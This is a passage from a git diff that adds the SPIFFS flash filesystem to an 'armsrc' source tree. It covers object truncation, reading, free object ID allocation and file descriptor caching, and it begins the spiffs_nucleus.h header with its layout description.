SPIFFS_VIS_COUNTINUE; +} + +// Finds object index header page by name +s32_t spiffs_object_find_object_index_header_by_name( + spiffs *fs, + const u8_t name[SPIFFS_OBJ_NAME_LEN], + spiffs_page_ix *pix) { + s32_t res; + spiffs_block_ix bix; + int entry; + + res = spiffs_obj_lu_find_entry_visitor(fs, + fs->cursor_block_ix, + fs->cursor_obj_lu_entry, + 0, + 0, + spiffs_object_find_object_index_header_by_name_v, + name, + 0, + &bix, + &entry); + + if (res == SPIFFS_VIS_END) { + res = SPIFFS_ERR_NOT_FOUND; + } + SPIFFS_CHECK_RES(res); + + if (pix) { + *pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry); + } + + fs->cursor_block_ix = bix; + fs->cursor_obj_lu_entry = entry; + + return res; +} + +#if !SPIFFS_READ_ONLY +// Truncates object to new size. If new size is null, object may be removed totally +s32_t spiffs_object_truncate( + spiffs_fd *fd, + u32_t new_size, + u8_t remove_full) { + s32_t res = SPIFFS_OK; + spiffs *fs = fd->fs; + + if ((fd->size == SPIFFS_UNDEFINED_LEN || fd->size == 0) && !remove_full) { + // no op + return res; + } + + // need 2 pages if not removing: object index page + possibly chopped data page + if (remove_full == 0) { + res = spiffs_gc_check(fs, SPIFFS_DATA_PAGE_SIZE(fs) * 2); + SPIFFS_CHECK_RES(res); + } + + spiffs_page_ix objix_pix = fd->objix_hdr_pix; + spiffs_span_ix data_spix = (fd->size > 0 ? fd->size - 1 : 0) / SPIFFS_DATA_PAGE_SIZE(fs); + u32_t cur_size = fd->size == (u32_t)SPIFFS_UNDEFINED_LEN ? 0 : fd->size ; + spiffs_span_ix cur_objix_spix = 0; + spiffs_span_ix prev_objix_spix = (spiffs_span_ix) - 1; + spiffs_page_object_ix_header *objix_hdr = (spiffs_page_object_ix_header *)fs->work; + spiffs_page_object_ix *objix = (spiffs_page_object_ix *)fs->work; + spiffs_page_ix data_pix; + spiffs_page_ix new_objix_hdr_pix; + + // before truncating, check if object is to be fully removed and mark this + if (remove_full && new_size == 0) { + u8_t flags = ~(SPIFFS_PH_FLAG_USED | SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_IXDELE); + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_UPDT, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, fd->objix_hdr_pix) + offsetof(spiffs_page_header, flags), + sizeof(u8_t), + (u8_t *)&flags); + SPIFFS_CHECK_RES(res); + } + + // delete from end of object until desired len is reached + while (cur_size > new_size) { + cur_objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, data_spix); + + // put object index for current data span index in work buffer + if (prev_objix_spix != cur_objix_spix) { + if (prev_objix_spix != (spiffs_span_ix) - 1) { + // remove previous object index page + SPIFFS_DBG("truncate: delete objix page "_SPIPRIpg":"_SPIPRIsp"\n", objix_pix, prev_objix_spix); + + res = spiffs_page_index_check(fs, fd, objix_pix, prev_objix_spix); + SPIFFS_CHECK_RES(res); + + res = spiffs_page_delete(fs, objix_pix); + SPIFFS_CHECK_RES(res); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)0, + SPIFFS_EV_IX_DEL, fd->obj_id, objix->p_hdr.span_ix, objix_pix, 0); + if (prev_objix_spix > 0) { + // Update object index header page, unless we totally want to remove the file. + // If fully removing, we're not keeping consistency as good as when storing the header between chunks, + // would we be aborted. But when removing full files, a crammed system may otherwise + // report ERR_FULL a la windows. We cannot have that. + // Hence, take the risk - if aborted, a file check would free the lost pages and mend things + // as the file is marked as fully deleted in the beginning. + if (remove_full == 0) { + SPIFFS_DBG("truncate: update objix hdr page "_SPIPRIpg":"_SPIPRIsp" to size "_SPIPRIi"\n", fd->objix_hdr_pix, prev_objix_spix, cur_size); + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + fd->objix_hdr_pix, 0, 0, 0, cur_size, &new_objix_hdr_pix); + SPIFFS_CHECK_RES(res); + } + fd->size = cur_size; + } + } + // load current object index (header) page + if (cur_objix_spix == 0) { + objix_pix = fd->objix_hdr_pix; + } else { + res = spiffs_obj_lu_find_id_and_span(fs, fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG, cur_objix_spix, 0, &objix_pix); + SPIFFS_CHECK_RES(res); + } + + SPIFFS_DBG("truncate: load objix page "_SPIPRIpg":"_SPIPRIsp" for data spix:"_SPIPRIsp"\n", objix_pix, cur_objix_spix, data_spix); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_OBJIX(objix_hdr->p_hdr, fd->obj_id, cur_objix_spix); + fd->cursor_objix_pix = objix_pix; + fd->cursor_objix_spix = cur_objix_spix; + fd->offset = cur_size; + + prev_objix_spix = cur_objix_spix; + } + + if (cur_objix_spix == 0) { + // get data page from object index header page + data_pix = ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[data_spix]; + ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[data_spix] = SPIFFS_OBJ_ID_FREE; + } else { + // get data page from object index page + data_pix = ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)]; + ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)] = SPIFFS_OBJ_ID_FREE; + } + + SPIFFS_DBG("truncate: got data pix "_SPIPRIpg"\n", data_pix); + + if (new_size == 0 || remove_full || cur_size - new_size >= SPIFFS_DATA_PAGE_SIZE(fs)) { + // delete full data page + res = spiffs_page_data_check(fs, fd, data_pix, data_spix); + if (res != SPIFFS_ERR_DELETED && res != SPIFFS_OK && res != SPIFFS_ERR_INDEX_REF_FREE) { + SPIFFS_DBG("truncate: err validating data pix "_SPIPRIi"\n", res); + break; + } + + if (res == SPIFFS_OK) { + res = spiffs_page_delete(fs, data_pix); + if (res != SPIFFS_OK) { + SPIFFS_DBG("truncate: err deleting data pix "_SPIPRIi"\n", res); + break; + } + } else if (res == SPIFFS_ERR_DELETED || res == SPIFFS_ERR_INDEX_REF_FREE) { + res = SPIFFS_OK; + } + + // update current size + if (cur_size % SPIFFS_DATA_PAGE_SIZE(fs) == 0) { + cur_size -= SPIFFS_DATA_PAGE_SIZE(fs); + } else { + cur_size -= cur_size % SPIFFS_DATA_PAGE_SIZE(fs); + } + fd->size = cur_size; + fd->offset = cur_size; + SPIFFS_DBG("truncate: delete data page "_SPIPRIpg" for data spix:"_SPIPRIsp", cur_size:"_SPIPRIi"\n", data_pix, data_spix, cur_size); + } else { + // delete last page, partially + spiffs_page_header p_hdr; + spiffs_page_ix new_data_pix; + u32_t bytes_to_remove = SPIFFS_DATA_PAGE_SIZE(fs) - (new_size % SPIFFS_DATA_PAGE_SIZE(fs)); + SPIFFS_DBG("truncate: delete "_SPIPRIi" bytes from data page "_SPIPRIpg" for data spix:"_SPIPRIsp", cur_size:"_SPIPRIi"\n", bytes_to_remove, data_pix, data_spix, cur_size); + + res = spiffs_page_data_check(fs, fd, data_pix, data_spix); + if (res != SPIFFS_OK) break; + + p_hdr.obj_id = fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG; + p_hdr.span_ix = data_spix; + p_hdr.flags = 0xff; + // allocate new page and copy unmodified data + res = spiffs_page_allocate_data(fs, fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, + &p_hdr, 0, 0, 0, 0, &new_data_pix); + if (res != SPIFFS_OK) break; + res = spiffs_phys_cpy(fs, 0, + SPIFFS_PAGE_TO_PADDR(fs, new_data_pix) + sizeof(spiffs_page_header), + SPIFFS_PAGE_TO_PADDR(fs, data_pix) + sizeof(spiffs_page_header), + SPIFFS_DATA_PAGE_SIZE(fs) - bytes_to_remove); + if (res != SPIFFS_OK) break; + // delete original data page + res = spiffs_page_delete(fs, data_pix); + if (res != SPIFFS_OK) break; + p_hdr.flags &= ~SPIFFS_PH_FLAG_FINAL; + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + fd->file_nbr, + SPIFFS_PAGE_TO_PADDR(fs, new_data_pix) + offsetof(spiffs_page_header, flags), + sizeof(u8_t), + (u8_t *)&p_hdr.flags); + if (res != SPIFFS_OK) break; + + // update memory representation of object index page with new data page + if (cur_objix_spix == 0) { + // update object index header page + ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[data_spix] = new_data_pix; + SPIFFS_DBG("truncate: wrote page "_SPIPRIpg" to objix_hdr entry "_SPIPRIsp" in mem\n", new_data_pix, (spiffs_span_ix)SPIFFS_OBJ_IX_ENTRY(fs, data_spix)); + } else { + // update object index page + ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)] = new_data_pix; + SPIFFS_DBG("truncate: wrote page "_SPIPRIpg" to objix entry "_SPIPRIsp" in mem\n", new_data_pix, (spiffs_span_ix)SPIFFS_OBJ_IX_ENTRY(fs, data_spix)); + } + cur_size = new_size; + fd->size = new_size; + fd->offset = cur_size; + break; + } + data_spix--; + } // while all data + + // update object indices + if (cur_objix_spix == 0) { + // update object index header page + if (cur_size == 0) { + if (remove_full) { + // remove object altogether + SPIFFS_DBG("truncate: remove object index header page "_SPIPRIpg"\n", objix_pix); + + res = spiffs_page_index_check(fs, fd, objix_pix, 0); + SPIFFS_CHECK_RES(res); + + res = spiffs_page_delete(fs, objix_pix); + SPIFFS_CHECK_RES(res); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)0, + SPIFFS_EV_IX_DEL, fd->obj_id, 0, objix_pix, 0); + } else { + // make uninitialized object + SPIFFS_DBG("truncate: reset objix_hdr page "_SPIPRIpg"\n", objix_pix); + memset(fs->work + sizeof(spiffs_page_object_ix_header), 0xff, + SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_page_object_ix_header)); + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + objix_pix, fs->work, 0, 0, SPIFFS_UNDEFINED_LEN, &new_objix_hdr_pix); + SPIFFS_CHECK_RES(res); + } + } else { + // update object index header page + SPIFFS_DBGF("truncate: update object index header page with indices and size\n"); + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + objix_pix, fs->work, 0, 0, cur_size, &new_objix_hdr_pix); + SPIFFS_CHECK_RES(res); + } + } else { + // update both current object index page and object index header page + spiffs_page_ix new_objix_pix; + + res = spiffs_page_index_check(fs, fd, objix_pix, cur_objix_spix); + SPIFFS_CHECK_RES(res); + + // move and update object index page + res = spiffs_page_move(fs, fd->file_nbr, (u8_t *)objix_hdr, fd->obj_id, 0, objix_pix, &new_objix_pix); + SPIFFS_CHECK_RES(res); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)objix_hdr, + SPIFFS_EV_IX_UPD, fd->obj_id, objix->p_hdr.span_ix, new_objix_pix, 0); + SPIFFS_DBG("truncate: store modified objix page, "_SPIPRIpg":"_SPIPRIsp"\n", new_objix_pix, cur_objix_spix); + fd->cursor_objix_pix = new_objix_pix; + fd->cursor_objix_spix = cur_objix_spix; + fd->offset = cur_size; + // update object index header page with new size + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + fd->objix_hdr_pix, 0, 0, 0, cur_size, &new_objix_hdr_pix); + SPIFFS_CHECK_RES(res); + } + fd->size = cur_size; + + return res; +} // spiffs_object_truncate +#endif // !SPIFFS_READ_ONLY + +s32_t spiffs_object_read( + spiffs_fd *fd, + u32_t offset, + u32_t len, + u8_t *dst) { + s32_t res = SPIFFS_OK; + spiffs *fs = fd->fs; + spiffs_page_ix objix_pix; + spiffs_page_ix data_pix; + spiffs_span_ix data_spix = offset / SPIFFS_DATA_PAGE_SIZE(fs); + u32_t cur_offset = offset; + spiffs_span_ix cur_objix_spix; + spiffs_span_ix prev_objix_spix = (spiffs_span_ix) - 1; + spiffs_page_object_ix_header *objix_hdr = (spiffs_page_object_ix_header *)fs->work; + spiffs_page_object_ix *objix = (spiffs_page_object_ix *)fs->work; + + while (cur_offset < offset + len) { +#if SPIFFS_IX_MAP + // check if we have a memory, index map and if so, if we're within index map's range + // and if so, if the entry is populated + if (fd->ix_map && data_spix >= fd->ix_map->start_spix && data_spix <= fd->ix_map->end_spix + && fd->ix_map->map_buf[data_spix - fd->ix_map->start_spix]) { + data_pix = fd->ix_map->map_buf[data_spix - fd->ix_map->start_spix]; + } else { +#endif + cur_objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, data_spix); + if (prev_objix_spix != cur_objix_spix) { + // load current object index (header) page + if (cur_objix_spix == 0) { + objix_pix = fd->objix_hdr_pix; + } else { + SPIFFS_DBG("read: find objix "_SPIPRIid":"_SPIPRIsp"\n", fd->obj_id, cur_objix_spix); + if (fd->cursor_objix_spix == cur_objix_spix) { + objix_pix = fd->cursor_objix_pix; + } else { + res = spiffs_obj_lu_find_id_and_span(fs, fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG, cur_objix_spix, 0, &objix_pix); + SPIFFS_CHECK_RES(res); + } + } + SPIFFS_DBG("read: load objix page "_SPIPRIpg":"_SPIPRIsp" for data spix:"_SPIPRIsp"\n", objix_pix, cur_objix_spix, data_spix); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_OBJIX(objix->p_hdr, fd->obj_id, cur_objix_spix); + + fd->offset = cur_offset; + fd->cursor_objix_pix = objix_pix; + fd->cursor_objix_spix = cur_objix_spix; + + prev_objix_spix = cur_objix_spix; + } + + if (cur_objix_spix == 0) { + // get data page from object index header page + data_pix = ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[data_spix]; + } else { + // get data page from object index page + data_pix = ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)]; + } +#if SPIFFS_IX_MAP + } +#endif + // all remaining data + u32_t len_to_read = offset + len - cur_offset; + // remaining data in page + len_to_read = MIN(len_to_read, SPIFFS_DATA_PAGE_SIZE(fs) - (cur_offset % SPIFFS_DATA_PAGE_SIZE(fs))); + // remaining data in file + len_to_read = MIN(len_to_read, fd->size - cur_offset); + SPIFFS_DBG("read: offset:"_SPIPRIi" rd:"_SPIPRIi" data spix:"_SPIPRIsp" is data_pix:"_SPIPRIpg" addr:"_SPIPRIad"\n", cur_offset, len_to_read, data_spix, data_pix, + (u32_t)(SPIFFS_PAGE_TO_PADDR(fs, data_pix) + sizeof(spiffs_page_header) + (cur_offset % SPIFFS_DATA_PAGE_SIZE(fs)))); + if (len_to_read == 0) { + res = SPIFFS_ERR_END_OF_OBJECT; + break; + } + res = spiffs_page_data_check(fs, fd, data_pix, data_spix); + SPIFFS_CHECK_RES(res); + res = _spiffs_rd( + fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_READ, + fd->file_nbr, + SPIFFS_PAGE_TO_PADDR(fs, data_pix) + sizeof(spiffs_page_header) + (cur_offset % SPIFFS_DATA_PAGE_SIZE(fs)), + len_to_read, + dst); + SPIFFS_CHECK_RES(res); + dst += len_to_read; + cur_offset += len_to_read; + fd->offset = cur_offset; + data_spix++; + } + + return res; +} + +#if !SPIFFS_READ_ONLY +typedef struct { + spiffs_obj_id min_obj_id; + spiffs_obj_id max_obj_id; + u32_t compaction; + const u8_t *conflicting_name; +} spiffs_free_obj_id_state; + +static s32_t spiffs_obj_lu_find_free_obj_id_bitmap_v(spiffs *fs, spiffs_obj_id id, spiffs_block_ix bix, int ix_entry, + const void *user_const_p, void *user_var_p) { + if (id != SPIFFS_OBJ_ID_FREE && id != SPIFFS_OBJ_ID_DELETED) { + spiffs_obj_id min_obj_id = *((spiffs_obj_id *)user_var_p); + const u8_t *conflicting_name = (const u8_t *)user_const_p; + + // if conflicting name parameter is given, also check if this name is found in object index hdrs + if (conflicting_name && (id & SPIFFS_OBJ_ID_IX_FLAG)) { + spiffs_page_ix pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, ix_entry); + int res; + spiffs_page_object_ix_header objix_hdr; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_object_ix_header), (u8_t *)&objix_hdr); + SPIFFS_CHECK_RES(res); + if (objix_hdr.p_hdr.span_ix == 0 && + (objix_hdr.p_hdr.flags & (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_IXDELE)) == + (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_IXDELE)) { + if (strcmp((const char *)user_const_p, (char *)objix_hdr.name) == 0) { + return SPIFFS_ERR_CONFLICTING_NAME; + } + } + } + + id &= ~SPIFFS_OBJ_ID_IX_FLAG; + u32_t bit_ix = (id - min_obj_id) & 7; + int byte_ix = (id - min_obj_id) >> 3; + if (byte_ix >= 0 && (u32_t)byte_ix < SPIFFS_CFG_LOG_PAGE_SZ(fs)) { + fs->work[byte_ix] |= (1 << bit_ix); + } + } + return SPIFFS_VIS_COUNTINUE; +} + +static s32_t spiffs_obj_lu_find_free_obj_id_compact_v(spiffs *fs, spiffs_obj_id id, spiffs_block_ix bix, int ix_entry, + const void *user_const_p, void *user_var_p) { + (void)user_var_p; + if (id != SPIFFS_OBJ_ID_FREE && id != SPIFFS_OBJ_ID_DELETED && (id & SPIFFS_OBJ_ID_IX_FLAG)) { + s32_t res; + const spiffs_free_obj_id_state *state = (const spiffs_free_obj_id_state *)user_const_p; + spiffs_page_object_ix_header objix_hdr; + + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_OBJ_LOOKUP_ENTRY_TO_PADDR(fs, bix, ix_entry), sizeof(spiffs_page_object_ix_header), (u8_t *)&objix_hdr); + if (res == SPIFFS_OK && objix_hdr.p_hdr.span_ix == 0 && + ((objix_hdr.p_hdr.flags & (SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_DELET)) == + (SPIFFS_PH_FLAG_DELET))) { + // ok object look up entry + if (state->conflicting_name && strcmp((const char *)state->conflicting_name, (char *)objix_hdr.name) == 0) { + return SPIFFS_ERR_CONFLICTING_NAME; + } + + id &= ~SPIFFS_OBJ_ID_IX_FLAG; + if (id >= state->min_obj_id && id <= state->max_obj_id) { + u8_t *map = (u8_t *)fs->work; + int ix = (id - state->min_obj_id) / state->compaction; + //SPIFFS_DBG("free_obj_id: add ix "_SPIPRIi" for id "_SPIPRIid" min"_SPIPRIid" max"_SPIPRIid" comp:"_SPIPRIi"\n", ix, id, state->min_obj_id, state->max_obj_id, state->compaction); + map[ix]++; + } + } + } + return SPIFFS_VIS_COUNTINUE; +} + +// Scans thru all object lookup for object index header pages. If total possible number of +// object ids cannot fit into a work buffer, these are grouped. When a group containing free +// object ids is found, the object lu is again scanned for object ids within group and bitmasked. +// Finally, the bitmask is searched for a free id +s32_t spiffs_obj_lu_find_free_obj_id(spiffs *fs, spiffs_obj_id *obj_id, const u8_t *conflicting_name) { + s32_t res = SPIFFS_OK; + u32_t max_objects = (fs->block_count * SPIFFS_OBJ_LOOKUP_MAX_ENTRIES(fs)) / 2; + spiffs_free_obj_id_state state; + spiffs_obj_id free_obj_id = SPIFFS_OBJ_ID_FREE; + state.min_obj_id = 1; + state.max_obj_id = max_objects + 1; + if (state.max_obj_id & SPIFFS_OBJ_ID_IX_FLAG) { + state.max_obj_id = ((spiffs_obj_id) - 1) & ~SPIFFS_OBJ_ID_IX_FLAG; + } + state.compaction = 0; + state.conflicting_name = conflicting_name; + while (res == SPIFFS_OK && free_obj_id == SPIFFS_OBJ_ID_FREE) { + if (state.max_obj_id - state.min_obj_id <= (spiffs_obj_id)SPIFFS_CFG_LOG_PAGE_SZ(fs) * 8) { + // possible to represent in bitmap + u32_t i, j; + SPIFFS_DBG("free_obj_id: BITM min:"_SPIPRIid" max:"_SPIPRIid"\n", state.min_obj_id, state.max_obj_id); + + memset(fs->work, 0, SPIFFS_CFG_LOG_PAGE_SZ(fs)); + res = spiffs_obj_lu_find_entry_visitor(fs, 0, 0, 0, 0, spiffs_obj_lu_find_free_obj_id_bitmap_v, + conflicting_name, &state.min_obj_id, 0, 0); + if (res == SPIFFS_VIS_END) res = SPIFFS_OK; + SPIFFS_CHECK_RES(res); + // traverse bitmask until found free obj_id + for (i = 0; i < SPIFFS_CFG_LOG_PAGE_SZ(fs); i++) { + u8_t mask = fs->work[i]; + if (mask == 0xff) { + continue; + } + for (j = 0; j < 8; j++) { + if ((mask & (1 << j)) == 0) { + *obj_id = (i << 3) + j + state.min_obj_id; + return SPIFFS_OK; + } + } + } + return SPIFFS_ERR_FULL; + } else { + // not possible to represent all ids in range in a bitmap, compact and count + if (state.compaction != 0) { + // select element in compacted table, decrease range and recompact + u32_t i, min_i = 0; + u8_t *map = (u8_t *)fs->work; + u8_t min_count = 0xff; + + for (i = 0; i < SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(u8_t); i++) { + if (map[i] < min_count) { + min_count = map[i]; + min_i = i; + if (min_count == 0) { + break; + } + } + } + + if (min_count == state.compaction) { + // there are no free objids! + SPIFFS_DBGF("free_obj_id: compacted table is full\n"); + return SPIFFS_ERR_FULL; + } + + SPIFFS_DBG("free_obj_id: COMP select index:"_SPIPRIi" min_count:"_SPIPRIi" min:"_SPIPRIid" max:"_SPIPRIid" compact:"_SPIPRIi"\n", min_i, min_count, state.min_obj_id, state.max_obj_id, state.compaction); + + if (min_count == 0) { + // no id in this range, skip compacting and use directly + *obj_id = min_i * state.compaction + state.min_obj_id; + return SPIFFS_OK; + } else { + SPIFFS_DBG("free_obj_id: COMP SEL chunk:"_SPIPRIi" min:"_SPIPRIid" -> "_SPIPRIid"\n", state.compaction, state.min_obj_id, state.min_obj_id + min_i * state.compaction); + state.min_obj_id += min_i * state.compaction; + state.max_obj_id = state.min_obj_id + state.compaction; + // decrease compaction + } + if ((state.max_obj_id - state.min_obj_id <= (spiffs_obj_id)SPIFFS_CFG_LOG_PAGE_SZ(fs) * 8)) { + // no need for compacting, use bitmap + continue; + } + } + // in a work memory of log_page_size bytes, we may fit in log_page_size ids + // todo what if compaction is > 255 - then we cannot fit it in a byte + state.compaction = (state.max_obj_id - state.min_obj_id) / ((SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(u8_t))); + SPIFFS_DBG("free_obj_id: COMP min:"_SPIPRIid" max:"_SPIPRIid" compact:"_SPIPRIi"\n", state.min_obj_id, state.max_obj_id, state.compaction); + + memset(fs->work, 0, SPIFFS_CFG_LOG_PAGE_SZ(fs)); + res = spiffs_obj_lu_find_entry_visitor(fs, 0, 0, 0, 0, spiffs_obj_lu_find_free_obj_id_compact_v, &state, 0, 0, 0); + if (res == SPIFFS_VIS_END) res = SPIFFS_OK; + SPIFFS_CHECK_RES(res); + state.conflicting_name = 0; // searched for conflicting name once, no need to do it again + } + } + + return res; +} +#endif // !SPIFFS_READ_ONLY + +#if SPIFFS_TEMPORAL_FD_CACHE +// djb2 hash +static u32_t spiffs_hash(spiffs *fs, const u8_t *name) { + (void)fs; + u32_t hash = 5381; + u8_t c; + int i = 0; + while ((c = name[i++]) && i < SPIFFS_OBJ_NAME_LEN) { + hash = (hash * 33) ^ c; + } + return hash; +} +#endif + +s32_t spiffs_fd_find_new(spiffs *fs, spiffs_fd **fd, const char *name) { +#if SPIFFS_TEMPORAL_FD_CACHE + u32_t i; + u16_t min_score = 0xffff; + u32_t cand_ix = (u32_t) - 1; + u32_t name_hash = name ? spiffs_hash(fs, (const u8_t *)name) : 0; + spiffs_fd *fds = (spiffs_fd *)fs->fd_space; + + if (name) { + // first, decrease score of all closed descriptors + for (i = 0; i < fs->fd_count; i++) { + spiffs_fd *cur_fd = &fds[i]; + if (cur_fd->file_nbr == 0) { + if (cur_fd->score > 1) { // score == 0 indicates never used fd + cur_fd->score--; + } + } + } + } + + // find the free fd with least score or name match + for (i = 0; i < fs->fd_count; i++) { + spiffs_fd *cur_fd = &fds[i]; + if (cur_fd->file_nbr == 0) { + if (name && cur_fd->name_hash == name_hash) { + cand_ix = i; + break; + } + if (cur_fd->score < min_score) { + min_score = cur_fd->score; + cand_ix = i; + } + } + } + + if (cand_ix != (u32_t) - 1) { + spiffs_fd *cur_fd = &fds[cand_ix]; + if (name) { + if (cur_fd->name_hash == name_hash && cur_fd->score > 0) { + // opened an fd with same name hash, assume same file + // set search point to saved obj index page and hope we have a correct match directly + // when start searching - if not, we will just keep searching until it is found + fs->cursor_block_ix = SPIFFS_BLOCK_FOR_PAGE(fs, cur_fd->objix_hdr_pix); + fs->cursor_obj_lu_entry = SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, cur_fd->objix_hdr_pix); + // update score + if (cur_fd->score < 0xffff - SPIFFS_TEMPORAL_CACHE_HIT_SCORE) { + cur_fd->score += SPIFFS_TEMPORAL_CACHE_HIT_SCORE; + } else { + cur_fd->score = 0xffff; + } + } else { + // no hash hit, restore this fd to initial state + cur_fd->score = SPIFFS_TEMPORAL_CACHE_HIT_SCORE; + cur_fd->name_hash = name_hash; + } + } + cur_fd->file_nbr = cand_ix + 1; + *fd = cur_fd; + return SPIFFS_OK; + } else { + return SPIFFS_ERR_OUT_OF_FILE_DESCS; + } +#else + (void)name; + u32_t i; + spiffs_fd *fds = (spiffs_fd *)fs->fd_space; + for (i = 0; i < fs->fd_count; i++) { + spiffs_fd *cur_fd = &fds[i]; + if (cur_fd->file_nbr == 0) { + cur_fd->file_nbr = i + 1; + *fd = cur_fd; + return SPIFFS_OK; + } + } + return SPIFFS_ERR_OUT_OF_FILE_DESCS; +#endif +} + +s32_t spiffs_fd_return(spiffs *fs, spiffs_file f) { + if (f <= 0 || f > (s16_t)fs->fd_count) { + return SPIFFS_ERR_BAD_DESCRIPTOR; + } + spiffs_fd *fds = (spiffs_fd *)fs->fd_space; + spiffs_fd *fd = &fds[f - 1]; + if (fd->file_nbr == 0) { + return SPIFFS_ERR_FILE_CLOSED; + } + fd->file_nbr = 0; +#if SPIFFS_IX_MAP + fd->ix_map = 0; +#endif + return SPIFFS_OK; +} + +s32_t spiffs_fd_get(spiffs *fs, spiffs_file f, spiffs_fd **fd) { + if (f <= 0 || f > (s16_t)fs->fd_count) { + return SPIFFS_ERR_BAD_DESCRIPTOR; + } + spiffs_fd *fds = (spiffs_fd *)fs->fd_space; + *fd = &fds[f - 1]; + if ((*fd)->file_nbr == 0) { + return SPIFFS_ERR_FILE_CLOSED; + } + return SPIFFS_OK; +} + +#if SPIFFS_TEMPORAL_FD_CACHE +void spiffs_fd_temporal_cache_rehash( + spiffs *fs, + const char *old_path, + const char *new_path) { + u32_t i; + u32_t old_hash = spiffs_hash(fs, (const u8_t *)old_path); + u32_t new_hash = spiffs_hash(fs, (const u8_t *)new_path); + spiffs_fd *fds = (spiffs_fd *)fs->fd_space; + for (i = 0; i < fs->fd_count; i++) { + spiffs_fd *cur_fd = &fds[i]; + if (cur_fd->score > 0 && cur_fd->name_hash == old_hash) { + cur_fd->name_hash = new_hash; + } + } +} +#endif diff --git a/armsrc/spiffs_nucleus.h b/armsrc/spiffs_nucleus.h new file mode 100644 index 000000000..7fbf98acf --- /dev/null +++ b/armsrc/spiffs_nucleus.h @@ -0,0 +1,848 @@ +/* + * spiffs_nucleus.h + * + * Created on: Jun 15, 2013 + * Author: petera + */ + +/* SPIFFS layout + * + * spiffs is designed for following spi flash characteristics: + * - only big areas of data (blocks) can be erased + * - erasing resets all bits in a block to ones + * - writing pulls ones to zeroes + * - zeroes cannot be pulled to ones, without erase + * - wear leveling + * + * spiffs is also meant to be run on embedded, memory constraint devices. + * + * Entire area is divided in blocks. Entire area is also divided in pages. + * Each block contains same number of pages. A page cannot be erased, but a + * block can be erased. + * + * Entire area must be block_size * x + * page_size must be block_size / (2^y) where y > 2 + * + * ex: area = 1024*1024 bytes, block size = 65536 bytes, page size = 256 bytes + * + * BLOCK 0 PAGE 0 object lookup 1 + * PAGE 1 object lookup 2 + * ... + * PAGE n-1 object lookup n + * PAGE n object data 1 + * PAGE n+1 object data 2 + * ... + * PAGE n+m-1 object data m + * + * BLOCK 1 PAGE n+m object lookup 1 + * PAGE n+m+1 object lookup 2 + * ... + * PAGE 2n+m-1 object lookup n + * PAGE 2n+m object data 1 + * PAGE 2n+m object data 2 + * ... + * PAGE 2n+2m-1 object data m + * ... + * + * n is number of object lookup pages, which is number of pages needed to index all pages + * in a block by object id + * : block_size / page_size * sizeof(obj_id) / page_size + * m is number data pages, which is number of pages in block minus number of lookup pages + * : block_size / page_size - block_size / page_size * sizeof(obj_id) / page_size + * thus, n+m is total number of pages in a block + * : block_size / page_size + * + * ex: n = 65536/256*2/256 = 2, m = 65536/256 - 2 = 254 => n+m = 65536/256 = 256 + * + * Object lookup pages contain object id entries. Each entry represent the corresponding + * data page. + * Assuming a 16 bit object id, an object id being 0xffff represents a free page. + * An 